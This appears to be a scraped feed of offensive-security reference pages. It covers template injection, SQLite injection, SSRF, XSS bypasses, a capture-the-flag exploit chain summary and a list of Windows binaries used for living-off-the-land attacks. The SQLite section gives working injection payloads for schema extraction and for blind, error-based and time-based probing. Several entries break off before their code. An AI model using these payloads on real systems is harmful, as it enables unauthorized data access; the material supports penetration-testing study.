- Jinjava - Basic Injection
- Jinjava - Command Execution
Pebble
- Pebble - Basic Injection
- Pebble - Code Execution
Velocity
Groovy
Spring Expression Language
Object-Graph Navigation Language
- OGNL - Basic Injection
- OGNL - Command Execution
References

Templating Libraries#

Template Name	Payload Format
Codepen	`#{ }`
Freemarker	`${ }`, `#{ }`, `[= ]`
Groovy	`${ }`
Jinjava	`{{ }}`
Pebble	`{{ }}`
SpEL	`*{ }`, `#{ }`, `${ }`
Thymeleaf	`[[ ]]`
Velocity	`#set($X="") $X`

Java EL#

Java EL - Basic Injection#

Java has multiple Expression Languages using similar syntax.

Server Side Template Injection - JavaScript

Mon, 03 Aug 2026 23:13:12 +0200

Server-Side Template Injection (SSTI) occurs when an attacker can inject malicious code into a server-side template, causing the server to execute arbitrary commands. In the context of JavaScript, SSTI vulnerabilities can arise when using server-side templating engines like Handlebars, EJS, or Pug, where user input is integrated into templates without adequate sanitization.

Summary#

Templating Libraries
Universal Payloads
Handlebars
- Handlebars - Basic Injection
- Handlebars - Command Execution
Lodash
- Lodash - Basic Injection
- Lodash - Command Execution
Pug
References

Templating Libraries#

Template Name	Payload Format
DotJS	`{{= }}`
DustJS	`{ }`
EJS	`<% %>`
HandlebarsJS	`{{ }}`
HoganJS	`{{ }}`
Lodash	`{{= }}`
MustacheJS	`{{ }}`
NunjucksJS	`{{ }}`
PugJS	`#{ }`
TwigJS	`{{ }}`
UnderscoreJS	`<% %>`
VelocityJS	`#=set($X="")$X`
VueJS	`{{ }}`

Universal Payloads#

Generic code injection payloads work for many NodeJS-based template engines, such as DotJS, EJS, PugJS, UnderscoreJS and Eta.

Server Side Template Injection - PHP

Mon, 03 Aug 2026 23:13:12 +0200

Server-Side Template Injection (SSTI) is a vulnerability that occurs when an attacker can inject malicious input into a server-side template, causing the template engine to execute arbitrary commands on the server. In PHP, SSTI can arise when user input is embedded within templates rendered by templating engines like Smarty, Twig, or even within plain PHP templates, without proper sanitization or validation.

Summary#

Templating Libraries
Universal Payloads
Blade
Smarty
- Smarty - Code Execution with Obfuscation
Twig
Latte
- Latte - Basic Injection
- Latte - Code Execution
patTemplate
PHPlib
Plates
References

Templating Libraries#

Template Name	Payload Format
Blade (Laravel)	`{{ }}`
Latte	`{ }`
Mustache	`{{ }}`
Plates	`<?= ?>`
Smarty	`{ }`
Twig	`{{ }}`

Universal Payloads#

Generic code injection payloads work for many PHP-based template engines, such as Blade, Latte and Smarty.

Server Side Template Injection - Python

Mon, 03 Aug 2026 23:13:12 +0200

Server-Side Template Injection (SSTI) is a vulnerability that arises when an attacker can inject malicious input into a server-side template, causing arbitrary code execution on the server. In Python, SSTI can occur when using templating engines such as Jinja2, Mako, or Django templates, where user input is included in templates without proper sanitization.

Summary#

Templating Libraries
Universal Payloads
Django
Jinja2
Tornado
- Tornado - Basic Injection
- Tornado - Remote Command Execution
Mako
- Mako - Remote Command Execution
- Mako - Remote Command Execution with Obfuscation
References

Templating Libraries#

Template Name	Payload Format
Bottle	`{{ }}`
Chameleon	`${ }`
Cheetah	`${ }`
Django	`{{ }}`
Jinja2	`{{ }}`
Mako	`${ }`
Pystache	`{{ }}`
Tornado	`{{ }}`

Universal Payloads#

Generic code injection payloads work for many Python-based template engines, such as Bottle, Chameleon, Cheetah, Mako and Tornado.

Server Side Template Injection - Ruby

Mon, 03 Aug 2026 23:13:12 +0200

Server-Side Template Injection (SSTI) is a vulnerability that arises when an attacker can inject malicious code into a server-side template, causing the server to execute arbitrary commands. In Ruby, SSTI can occur when using templating engines like ERB (Embedded Ruby), Haml, liquid, or Slim, especially when user input is incorporated into templates without proper sanitization or validation.

Summary#

Templating Libraries
Universal Payloads
Ruby
References

Templating Libraries#

Template Name	Payload Format
Erb	`<%= %>`
Erubi	`<%= %>`
Erubis	`<%= %>`
HAML	`#{ }`
Liquid	`{{ }}`
Mustache	`{{ }}`
Slim	`#{ }`

Universal Payloads#

Generic code injection payloads work for many Ruby-based template engines, such as Erb, Erubi, Erubis, HAML and Slim.

Source Code Management & CI/CD Compromise

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/cheatsheets/source-code-management-ci

SQLite Injection

Mon, 03 Aug 2026 23:13:12 +0200

SQLite Injection is a type of security vulnerability that occurs when an attacker can insert or “inject” malicious SQL code into SQL queries executed by an SQLite database. This vulnerability arises when user inputs are integrated into SQL statements without proper sanitization or parameterization, allowing attackers to manipulate the query logic. Such injections can lead to unauthorized data access, data manipulation, and other severe security issues.

Summary#

SQLite Comments
SQLite Enumeration
SQLite String
- SQLite String Methodology
SQLite Blind
- SQLite Blind Methodology
- SQLite Blind With Substring Equivalent
SQlite Error Based
SQlite Time Based
SQlite Remote Code Execution
- Attach Database
- Load_extension
SQLite File Manipulation
- SQLite Read File
- SQLite Write File
References

SQLite Comments#

Description	Comment
Single-Line Comment	`--`
Multi-Line Comment	`/**/`

SQLite Enumeration#

Description	SQL Query
DBMS version	`select sqlite_version();`

SQLite String#

SQLite String Methodology#

Description	SQL Query
Extract Database Structure	`SELECT sql FROM sqlite_schema`
Extract Database Structure (sqlite_version > 3.33.0)	`SELECT sql FROM sqlite_master`
Extract Table Name	`SELECT tbl_name FROM sqlite_master WHERE type='table'`
Extract Table Name	`SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'`
Extract Column Name	`SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'`
Extract Column Name	`SELECT GROUP_CONCAT(name) AS column_names FROM pragma_table_info('table_name');`
Extract Column Name	`SELECT MAX(sql) FROM sqlite_master WHERE tbl_name='<TABLE_NAME>'`
Extract Column Name	`SELECT name FROM PRAGMA_TABLE_INFO('<TABLE_NAME>')`

Description	SQL Query
Count Number Of Tables	`AND (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' ) < number_of_table`
Enumerating Table Name	`AND (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' LIMIT 1 OFFSET 0)=table_name_length_number`
Extract Info	`AND (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' LIMIT 1 OFFSET 0) > HEX('some_char')`
Extract Info (order by)	`CASE WHEN (SELECT hex(substr(sql,1,1)) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' LIMIT 1 OFFSET 0) = HEX('some_char') THEN <order_element_1> ELSE <order_element_2> END`

Function	Example
`SUBSTRING`	`SUBSTRING('foobar', <START>, <LENGTH>)`
`SUBSTR`	`SUBSTR('foobar', <START>, <LENGTH>)`

SQlite Error Based#

AND CASE WHEN [BOOLEAN_QUERY] THEN 1 ELSE load_extension(1) END

SQlite Time Based#

AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
AND 1337=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

SQLite Remote Code Execution#

Attach Database#

This snippet shows how an attacker could abuse SQLite’s ATTACH DATABASE feature to plant a web-shell on a server:

SQLmap

Mon, 03 Aug 2026 23:13:12 +0200

SQLmap is a powerful tool that automates the detection and exploitation of SQL injection vulnerabilities, saving time and effort compared to manual testing. It supports a wide range of databases and injection techniques, making it versatile and effective in various scenarios. Additionally, SQLmap can retrieve data, manipulate databases, and even execute commands, providing a robust set of features for penetration testers and security analysts. Reinventing the wheel isn’t ideal because SQLmap has been rigorously developed, tested, and improved by experts. Using a reliable, community-supported tool means you benefit from established best practices and avoid the high risk of missing vulnerabilities or introducing errors in custom code. However you should always know how SQLmap is working, and be able to replicate it manually if necessary.

SSRF Advanced Exploitation

Mon, 03 Aug 2026 23:13:12 +0200

Some services (e.g., Redis, Elasticsearch) allow unauthenticated data writes or command execution when accessed directly. An attacker could exploit SSRF to interact with these services, injecting malicious payloads like web shells or manipulating application state.

Summary#

DNS AXFR
FastCGI
Memcached
MySQL
Redis
SMTP
WSGI
Zabbix
References

DNS AXFR#

Query an internal DNS resolver to trigger a full zone transfer (AXFR) and exfiltrate a list of subdomains.

SSRF URL for Cloud Instances

Mon, 03 Aug 2026 23:13:12 +0200

When exploiting Server-Side Request Forgery (SSRF) in cloud environments, attackers often target metadata endpoints to retrieve sensitive instance information (e.g., credentials, configurations). Below is a categorized list of common URLs for various cloud and infrastructure providers

Summary#

SSRF URL for AWS Bucket
SSRF URL for AWS ECS
SSRF URL for AWS Elastic Beanstalk
SSRF URL for AWS Lambda
SSRF URL for Google Cloud
SSRF URL for Digital Ocean
SSRF URL for Packetcloud
SSRF URL for Azure
SSRF URL for OpenStack/RackSpace
SSRF URL for HP Helion
SSRF URL for Oracle Cloud
SSRF URL for Kubernetes ETCD
SSRF URL for Alibaba
SSRF URL for Hetzner Cloud
SSRF URL for Docker
SSRF URL for Rancher
References

SSRF URL for AWS#

The AWS Instance Metadata Service is a service available within Amazon EC2 instances that allows those instances to access metadata about themselves. - Docs

Subdomains Enumeration

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/redteam/access/web-attack-surface

Subversion

Mon, 03 Aug 2026 23:13:12 +0200

Subversion (often abbreviated as SVN) is a centralized version control system (VCS) that has been widely used in the software development industry. Originally developed by CollabNet Inc. in 2000, Subversion was designed to be an improved version of CVS (Concurrent Versions System) and has since gained significant traction for its robustness and reliability.

Summary#

Tools
Methodology
References

Tools#

anantshri/svn-extractor - Simple script to extract all web resources by means of .SVN folder exposed over network.

Twitter

Mon, 03 Aug 2026 23:13:12 +0200

Twitter is very common in the InfoSec area. Many advices and tips on bug hunting or CTF games are posted every day. It is worth following the feeds of some successful security researchers and hackers.

Accounts#

Vulnerability Reports

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/methodology/vulnerability-reports

Windows - AMSI Bypass

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/redteam/evasion/windows-amsi-bypass

Windows - Defenses

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/redteam/evasion/windows-defenses

Windows - Download and execute methods

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/redteam/access/windows-download-execute

Windows - DPAPI

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/redteam/evasion/windows-dpapi

Windows - Mimikatz

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/cheatsheets/mimikatz

Windows - Persistence

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/redteam/persistence/windows

Windows - Privilege Escalation

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/redteam/escalation/windows-privilege-escalation

Windows - Using credentials

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/redteam/access/windows-using-credentials

XSS Filter Bypass

Mon, 03 Aug 2026 23:13:12 +0200

Summary#

Bypass Case Sensitive
Bypass Tag Blacklist
Bypass Word Blacklist with Code Evaluation
Bypass with Incomplete HTML Tag
Bypass Quotes for String
Bypass Quotes in Script Tag
Bypass Quotes in Mousedown Event
Bypass Dot Filter
Bypass Parenthesis for String
Bypass Parenthesis and Semi Colon
Bypass onxxxx= Blacklist
Bypass Space Filter
Bypass Email Filter
Bypass Tel URI Filter
Bypass document Blacklist
Bypass document.cookie Blacklist
Bypass using Javascript Inside a String
Bypass using an Alternate Way to Redirect
Bypass using an Alternate Way to Execute an Alert
Bypass “>” using Nothing
Bypass “<” and “>” using ＜ and ＞
Bypass “;” using Another Character
Bypass using Missing Charset Header
Bypass using HTML encoding
Bypass using Katakana
Bypass using Cuneiform
Bypass using Lontara
Bypass using ECMAScript6
Bypass using Octal encoding
Bypass using Unicode
Bypass using UTF-7
Bypass using UTF-8
Bypass using UTF-16be
Bypass using UTF-32
Bypass using BOM
Bypass using JSfuck
References

Bypass Case Sensitive#

To bypass a case-sensitive XSS filter, you can try mixing uppercase and lowercase letters within the tags or function names.

XSS in Angular and AngularJS

Mon, 03 Aug 2026 23:13:12 +0200

Summary#

Client Side Template Injection
Automatic Sanitization
References

Client Side Template Injection#

The following payloads are based on Client Side Template Injection.

Stored/Reflected XSS#

ng-app directive must be present in a root element to allow the client-side injection (cf. AngularJS: API: ngApp).

AngularJS as of version 1.6 have removed the sandbox altogether

Youtube

Mon, 03 Aug 2026 23:13:12 +0200

Discover the best YouTube channels, must-watch conference talks, and handpicked videos on information security.

Channels#

Conferences#

Curated Videos#

Cohort

Sat, 01 Aug 2026 00:00:00 +0000

An internal marimo notebook server — discovered by bypassing an SSRF host blocklist on the Cohort Analytics ‘source validator’ — exposed the unauthenticated /terminal/ws endpoint (CVE-2026-39987), granting a pre-auth PTY as marimo. Privilege escalation abused a deliberately held-back PackageKit (CVE-2026-41651, ‘Pack2TheRoot’): a TOCTOU race in the D-Bus InstallFiles transaction let an unprivileged user install a malicious .deb whose postinst ran as root, dropping a SUID bash.

AccCheckConsole.exe

Fri, 31 Jul 2026 15:59:39 -0400

AddinUtil.exe

Fri, 31 Jul 2026 15:59:39 -0400

adplus.exe

Fri, 31 Jul 2026 15:59:39 -0400

Advpack.dll

Fri, 31 Jul 2026 15:59:39 -0400

AgentExecutor.exe

Fri, 31 Jul 2026 15:59:39 -0400

AppCert.exe

Fri, 31 Jul 2026 15:59:39 -0400

AppInstaller.exe

Fri, 31 Jul 2026 15:59:39 -0400

AppLauncher.exe

Fri, 31 Jul 2026 15:59:39 -0400

Appvlp.exe

Fri, 31 Jul 2026 15:59:39 -0400

Aspnet_Compiler.exe

Fri, 31 Jul 2026 15:59:39 -0400

At.exe

Fri, 31 Jul 2026 15:59:39 -0400

Atbroker.exe

Fri, 31 Jul 2026 15:59:39 -0400

Bash.exe

Fri, 31 Jul 2026 15:59:39 -0400

Bcp.exe

Fri, 31 Jul 2026 15:59:39 -0400

Bginfo.exe

Fri, 31 Jul 2026 15:59:39 -0400

Bitsadmin.exe

Fri, 31 Jul 2026 15:59:39 -0400

Cdb.exe

Fri, 31 Jul 2026 15:59:39 -0400

CertOC.exe

Fri, 31 Jul 2026 15:59:39 -0400

CertReq.exe

Fri, 31 Jul 2026 15:59:39 -0400

Certutil.exe

Fri, 31 Jul 2026 15:59:39 -0400

Change.exe

Fri, 31 Jul 2026 15:59:39 -0400

Cipher.exe

Fri, 31 Jul 2026 15:59:39 -0400

CL_Invocation.ps1

Fri, 31 Jul 2026 15:59:39 -0400

CL_LoadAssembly.ps1

Fri, 31 Jul 2026 15:59:39 -0400

CL_Mutexverifiers.ps1

Fri, 31 Jul 2026 15:59:39 -0400

Cmd.exe

Fri, 31 Jul 2026 15:59:39 -0400

Cmdkey.exe

Fri, 31 Jul 2026 15:59:39 -0400

cmdl32.exe

Fri, 31 Jul 2026 15:59:39 -0400

Cmstp.exe

Fri, 31 Jul 2026 15:59:39 -0400

code.exe

Fri, 31 Jul 2026 15:59:39 -0400

Colorcpl.exe

Fri, 31 Jul 2026 15:59:39 -0400

ComputerDefaults.exe

Fri, 31 Jul 2026 15:59:39 -0400

Comsvcs.dll

Fri, 31 Jul 2026 15:59:39 -0400

ConfigSecurityPolicy.exe

Fri, 31 Jul 2026 15:59:39 -0400

Conhost.exe

Fri, 31 Jul 2026 15:59:39 -0400

Control.exe

Fri, 31 Jul 2026 15:59:39 -0400

coregen.exe

Fri, 31 Jul 2026 15:59:39 -0400

Createdump.exe

Fri, 31 Jul 2026 15:59:39 -0400

Csc.exe

Fri, 31 Jul 2026 15:59:39 -0400

Cscript.exe

Fri, 31 Jul 2026 15:59:39 -0400

csi.exe

Fri, 31 Jul 2026 15:59:39 -0400

CustomShellHost.exe

Fri, 31 Jul 2026 15:59:39 -0400

DataSvcUtil.exe

Fri, 31 Jul 2026 15:59:39 -0400

DefaultPack.EXE

Fri, 31 Jul 2026 15:59:39 -0400

Desk.cpl

Fri, 31 Jul 2026 15:59:39 -0400

Desktopimgdownldr.exe

Fri, 31 Jul 2026 15:59:39 -0400

DeviceCredentialDeployment.exe

Fri, 31 Jul 2026 15:59:39 -0400

Devinit.exe

Fri, 31 Jul 2026 15:59:39 -0400

Devtoolslauncher.exe

Fri, 31 Jul 2026 15:59:39 -0400

devtunnel.exe

Fri, 31 Jul 2026 15:59:39 -0400

Dfshim.dll

Fri, 31 Jul 2026 15:59:39 -0400

Dfsvc.exe

Fri, 31 Jul 2026 15:59:39 -0400

Diantz.exe

Fri, 31 Jul 2026 15:59:39 -0400

Diskshadow.exe

Fri, 31 Jul 2026 15:59:39 -0400

Dnscmd.exe

Fri, 31 Jul 2026 15:59:39 -0400

dnx.exe

Fri, 31 Jul 2026 15:59:39 -0400

Dotnet.exe

Fri, 31 Jul 2026 15:59:39 -0400

dsdbutil.exe

Fri, 31 Jul 2026 15:59:39 -0400

dtutil.exe

Fri, 31 Jul 2026 15:59:39 -0400

Dump64.exe

Fri, 31 Jul 2026 15:59:39 -0400

DumpMinitool.exe

Fri, 31 Jul 2026 15:59:39 -0400

Dxcap.exe

Fri, 31 Jul 2026 15:59:39 -0400

ECMangen.exe

Fri, 31 Jul 2026 15:59:39 -0400

Esentutl.exe

Fri, 31 Jul 2026 15:59:39 -0400

Eudcedit.exe

Fri, 31 Jul 2026 15:59:39 -0400

Eventvwr.exe

Fri, 31 Jul 2026 15:59:39 -0400

Excel.exe

Fri, 31 Jul 2026 15:59:39 -0400

Expand.exe

Fri, 31 Jul 2026 15:59:39 -0400

Explorer.exe

Fri, 31 Jul 2026 15:59:39 -0400

Extexport.exe

Fri, 31 Jul 2026 15:59:39 -0400

Extrac32.exe

Fri, 31 Jul 2026 15:59:39 -0400

Findstr.exe

Fri, 31 Jul 2026 15:59:39 -0400

Finger.exe

Fri, 31 Jul 2026 15:59:39 -0400

fltMC.exe

Fri, 31 Jul 2026 15:59:39 -0400

Forfiles.exe

Fri, 31 Jul 2026 15:59:39 -0400

Fsi.exe

Fri, 31 Jul 2026 15:59:39 -0400

FsiAnyCpu.exe

Fri, 31 Jul 2026 15:59:39 -0400

Fsutil.exe

Fri, 31 Jul 2026 15:59:39 -0400

Ftp.exe

Fri, 31 Jul 2026 15:59:39 -0400

GfxDownloadWrapper.exe

Fri, 31 Jul 2026 15:59:39 -0400

Gpscript.exe

Fri, 31 Jul 2026 15:59:39 -0400

Hh.exe

Fri, 31 Jul 2026 15:59:39 -0400

Ie4uinit.exe

Fri, 31 Jul 2026 15:59:39 -0400

Ieadvpack.dll

Fri, 31 Jul 2026 15:59:39 -0400

iediagcmd.exe

Fri, 31 Jul 2026 15:59:39 -0400

Ieexec.exe

Fri, 31 Jul 2026 15:59:39 -0400

Ieframe.dll

Fri, 31 Jul 2026 15:59:39 -0400

Ilasm.exe

Fri, 31 Jul 2026 15:59:39 -0400

IMEWDBLD.exe

Fri, 31 Jul 2026 15:59:39 -0400

Infdefaultinstall.exe

Fri, 31 Jul 2026 15:59:39 -0400

Installutil.exe

Fri, 31 Jul 2026 15:59:39 -0400

IntelliTrace.exe

Fri, 31 Jul 2026 15:59:39 -0400

iscsicpl.exe

Fri, 31 Jul 2026 15:59:39 -0400

Jsc.exe

Fri, 31 Jul 2026 15:59:39 -0400

Launch-VsDevShell.ps1

Fri, 31 Jul 2026 15:59:39 -0400

Ldifde.exe

Fri, 31 Jul 2026 15:59:39 -0400

Logger.exe

Fri, 31 Jul 2026 15:59:39 -0400

Makecab.exe

Fri, 31 Jul 2026 15:59:39 -0400

Manage-bde.wsf

Fri, 31 Jul 2026 15:59:39 -0400

Mavinject.exe

Fri, 31 Jul 2026 15:59:39 -0400

Mftrace.exe

Fri, 31 Jul 2026 15:59:39 -0400

Microsoft.NodejsTools.PressAnyKey.exe

Fri, 31 Jul 2026 15:59:39 -0400

Microsoft.Workflow.Compiler.exe

Fri, 31 Jul 2026 15:59:39 -0400

Mmc.exe

Fri, 31 Jul 2026 15:59:39 -0400

Mofcomp.exe

Fri, 31 Jul 2026 15:59:39 -0400

MpCmdRun.exe

Fri, 31 Jul 2026 15:59:39 -0400

Mpiexec.exe

Fri, 31 Jul 2026 15:59:39 -0400

MSAccess.exe

Fri, 31 Jul 2026 15:59:39 -0400

Msbuild.exe

Fri, 31 Jul 2026 15:59:39 -0400

Msconfig.exe

Fri, 31 Jul 2026 15:59:39 -0400

Mscopilot_proxy.exe

Fri, 31 Jul 2026 15:59:39 -0400

Mscopilot.exe

Fri, 31 Jul 2026 15:59:39 -0400

Msdeploy.exe

Fri, 31 Jul 2026 15:59:39 -0400

Msdt.exe

Fri, 31 Jul 2026 15:59:39 -0400

msedge_proxy.exe

Fri, 31 Jul 2026 15:59:39 -0400

Msedge.exe

Fri, 31 Jul 2026 15:59:39 -0400

msedgewebview2.exe

Fri, 31 Jul 2026 15:59:39 -0400

Mshta.exe

Fri, 31 Jul 2026 15:59:39 -0400

Mshtml.dll

Fri, 31 Jul 2026 15:59:39 -0400

Msiexec.exe

Fri, 31 Jul 2026 15:59:39 -0400

MsoHtmEd.exe

Fri, 31 Jul 2026 15:59:39 -0400

msoxmled.exe

Fri, 31 Jul 2026 15:59:39 -0400

Mspub.exe

Fri, 31 Jul 2026 15:59:39 -0400

msxsl.exe

Fri, 31 Jul 2026 15:59:39 -0400

Netsh.exe

Fri, 31 Jul 2026 15:59:39 -0400

Ngen.exe

Fri, 31 Jul 2026 15:59:39 -0400

Nmcap.exe

Fri, 31 Jul 2026 15:59:39 -0400

ntdsutil.exe

Fri, 31 Jul 2026 15:59:39 -0400

Ntsd.exe

Fri, 31 Jul 2026 15:59:39 -0400

odbcad32.exe

Fri, 31 Jul 2026 15:59:39 -0400

Odbcconf.exe

Fri, 31 Jul 2026 15:59:39 -0400

OfflineScannerShell.exe

Fri, 31 Jul 2026 15:59:39 -0400

OneDriveStandaloneUpdater.exe

Fri, 31 Jul 2026 15:59:39 -0400

OpenConsole.exe

Fri, 31 Jul 2026 15:59:39 -0400

Outlook.exe

Fri, 31 Jul 2026 15:59:39 -0400

Pcalua.exe

Fri, 31 Jul 2026 15:59:39 -0400

Pcwrun.exe

Fri, 31 Jul 2026 15:59:39 -0400

Pcwutl.dll

Fri, 31 Jul 2026 15:59:39 -0400

Pester.bat

Fri, 31 Jul 2026 15:59:39 -0400

PhotoViewer.dll

Fri, 31 Jul 2026 15:59:39 -0400

Pixtool.exe

Fri, 31 Jul 2026 15:59:39 -0400

Pktmon.exe

Fri, 31 Jul 2026 15:59:39 -0400

Pnputil.exe

Fri, 31 Jul 2026 15:59:39 -0400

Powerpnt.exe

Fri, 31 Jul 2026 15:59:39 -0400

Powershell.exe

Fri, 31 Jul 2026 15:59:39 -0400

Presentationhost.exe

Fri, 31 Jul 2026 15:59:39 -0400

Print.exe

Fri, 31 Jul 2026 15:59:39 -0400

PrintBrm.exe

Fri, 31 Jul 2026 15:59:39 -0400

Procdump.exe

Fri, 31 Jul 2026 15:59:39 -0400

ProtocolHandler.exe

Fri, 31 Jul 2026 15:59:39 -0400

Provlaunch.exe

Fri, 31 Jul 2026 15:59:39 -0400

Psr.exe

Fri, 31 Jul 2026 15:59:39 -0400

Pubprn.vbs

Fri, 31 Jul 2026 15:59:39 -0400

Query.exe

Fri, 31 Jul 2026 15:59:39 -0400

Rasautou.exe

Fri, 31 Jul 2026 15:59:39 -0400

rcsi.exe

Fri, 31 Jul 2026 15:59:39 -0400

rdrleakdiag.exe

Fri, 31 Jul 2026 15:59:39 -0400

Reg.exe

Fri, 31 Jul 2026 15:59:39 -0400

Regasm.exe

Fri, 31 Jul 2026 15:59:39 -0400

Regedit.exe

Fri, 31 Jul 2026 15:59:39 -0400

Regini.exe

Fri, 31 Jul 2026 15:59:39 -0400

Register-cimprovider.exe

Fri, 31 Jul 2026 15:59:39 -0400

Regsvcs.exe

Fri, 31 Jul 2026 15:59:39 -0400

Regsvr32.exe

Fri, 31 Jul 2026 15:59:39 -0400

Remote.exe

Fri, 31 Jul 2026 15:59:39 -0400

Replace.exe

Fri, 31 Jul 2026 15:59:39 -0400

Reset.exe

Fri, 31 Jul 2026 15:59:39 -0400

Rpcping.exe

Fri, 31 Jul 2026 15:59:39 -0400

Rundll32.exe

Fri, 31 Jul 2026 15:59:39 -0400

Runexehelper.exe

Fri, 31 Jul 2026 15:59:39 -0400

Runonce.exe

Fri, 31 Jul 2026 15:59:39 -0400

Runscripthelper.exe

Fri, 31 Jul 2026 15:59:39 -0400

Sc.exe

Fri, 31 Jul 2026 15:59:39 -0400

Schtasks.exe

Fri, 31 Jul 2026 15:59:39 -0400

scp.exe

Fri, 31 Jul 2026 15:59:39 -0400

Scriptrunner.exe

Fri, 31 Jul 2026 15:59:39 -0400

Scrobj.dll

Fri, 31 Jul 2026 15:59:39 -0400

Setres.exe

Fri, 31 Jul 2026 15:59:39 -0400

SettingSyncHost.exe

Fri, 31 Jul 2026 15:59:39 -0400

Setupapi.dll

Fri, 31 Jul 2026 15:59:39 -0400

setupugc.exe

Fri, 31 Jul 2026 15:59:39 -0400

Sftp.exe

Fri, 31 Jul 2026 15:59:39 -0400

Shdocvw.dll

Fri, 31 Jul 2026 15:59:39 -0400

Shell32.dll

Fri, 31 Jul 2026 15:59:39 -0400

Shimgvw.dll

Fri, 31 Jul 2026 15:59:39 -0400

Sigverif.exe

Fri, 31 Jul 2026 15:59:39 -0400

Sqldumper.exe

Fri, 31 Jul 2026 15:59:39 -0400

Sqlps.exe

Fri, 31 Jul 2026 15:59:39 -0400

SQLToolsPS.exe

Fri, 31 Jul 2026 15:59:39 -0400

Squirrel.exe

Fri, 31 Jul 2026 15:59:39 -0400

ssh.exe

Fri, 31 Jul 2026 15:59:39 -0400

Stordiag.exe

Fri, 31 Jul 2026 15:59:39 -0400

SyncAppvPublishingServer.exe

Fri, 31 Jul 2026 15:59:39 -0400

Syncappvpublishingserver.vbs

Fri, 31 Jul 2026 15:59:39 -0400

Syssetup.dll

Fri, 31 Jul 2026 15:59:39 -0400

Tar.exe

Fri, 31 Jul 2026 15:59:39 -0400

te.exe

Fri, 31 Jul 2026 15:59:39 -0400

Teams.exe

Fri, 31 Jul 2026 15:59:39 -0400

TestWindowRemoteAgent.exe

Fri, 31 Jul 2026 15:59:39 -0400

Tracker.exe

Fri, 31 Jul 2026 15:59:39 -0400

Ttdinject.exe

Fri, 31 Jul 2026 15:59:39 -0400

Tttracer.exe

Fri, 31 Jul 2026 15:59:39 -0400

Unregmp2.exe

Fri, 31 Jul 2026 15:59:39 -0400

Update.exe

Fri, 31 Jul 2026 15:59:39 -0400

Url.dll

Fri, 31 Jul 2026 15:59:39 -0400

UtilityFunctions.ps1

Fri, 31 Jul 2026 15:59:39 -0400

vbc.exe

Fri, 31 Jul 2026 15:59:39 -0400

Verclsid.exe

Fri, 31 Jul 2026 15:59:39 -0400

Visio.exe

Fri, 31 Jul 2026 15:59:39 -0400

VisualUiaVerifyNative.exe

Fri, 31 Jul 2026 15:59:39 -0400

VSDiagnostics.exe

Fri, 31 Jul 2026 15:59:39 -0400

Vshadow.exe

Fri, 31 Jul 2026 15:59:39 -0400

VSIISExeLauncher.exe

Fri, 31 Jul 2026 15:59:39 -0400

vsjitdebugger.exe

Fri, 31 Jul 2026 15:59:39 -0400

VSLaunchBrowser.exe

Fri, 31 Jul 2026 15:59:39 -0400

vsls-agent.exe

Fri, 31 Jul 2026 15:59:39 -0400

vstest.console.exe

Fri, 31 Jul 2026 15:59:39 -0400

Wab.exe

Fri, 31 Jul 2026 15:59:39 -0400

wbadmin.exe

Fri, 31 Jul 2026 15:59:39 -0400

wbemtest.exe

Fri, 31 Jul 2026 15:59:39 -0400

Wfc.exe

Fri, 31 Jul 2026 15:59:39 -0400

WFMFormat.exe

Fri, 31 Jul 2026 15:59:39 -0400

WinDbg.exe

Fri, 31 Jul 2026 15:59:39 -0400

winfile.exe

Fri, 31 Jul 2026 15:59:39 -0400

winget.exe

Fri, 31 Jul 2026 15:59:39 -0400

WinProj.exe

Fri, 31 Jul 2026 15:59:39 -0400

winrm.vbs

Fri, 31 Jul 2026 15:59:39 -0400

Winword.exe

Fri, 31 Jul 2026 15:59:39 -0400

Wlrmdr.exe

Fri, 31 Jul 2026 15:59:39 -0400

Wmic.exe

Fri, 31 Jul 2026 15:59:39 -0400

WorkFolders.exe

Fri, 31 Jul 2026 15:59:39 -0400

write.exe

Fri, 31 Jul 2026 15:59:39 -0400

wsb.exe

Fri, 31 Jul 2026 15:59:39 -0400

Wscript.exe

Fri, 31 Jul 2026 15:59:39 -0400

Wsl.exe

Fri, 31 Jul 2026 15:59:39 -0400

Wsreset.exe

Fri, 31 Jul 2026 15:59:39 -0400

wt.exe

Fri, 31 Jul 2026 15:59:39 -0400

wuauclt.exe

Fri, 31 Jul 2026 15:59:39 -0400

XBootMgr.exe

Fri, 31 Jul 2026 15:59:39 -0400

XBootMgrSleep.exe

Fri, 31 Jul 2026 15:59:39 -0400

xsd.exe

Fri, 31 Jul 2026 15:59:39 -0400

Xwizard.exe

Fri, 31 Jul 2026 15:59:39 -0400

Zipfldr.dll

Fri, 31 Jul 2026 15:59:39 -0400

Active Directory - Access Controls ACL/ACE

Sat, 25 Jul 2026 18:47:21 +0200

An Access Control Entry (ACE) is a specific permission granted or denied to a user or group for a particular resource, such as a file or directory. Each ACE defines the type of access allowed (e.g., read, write, execute) or denied.

An Access Control List (ACL) is a collection of Access Control Entries (ACEs) associated with a resource.

Check ACL for an User with ADACLScanner.

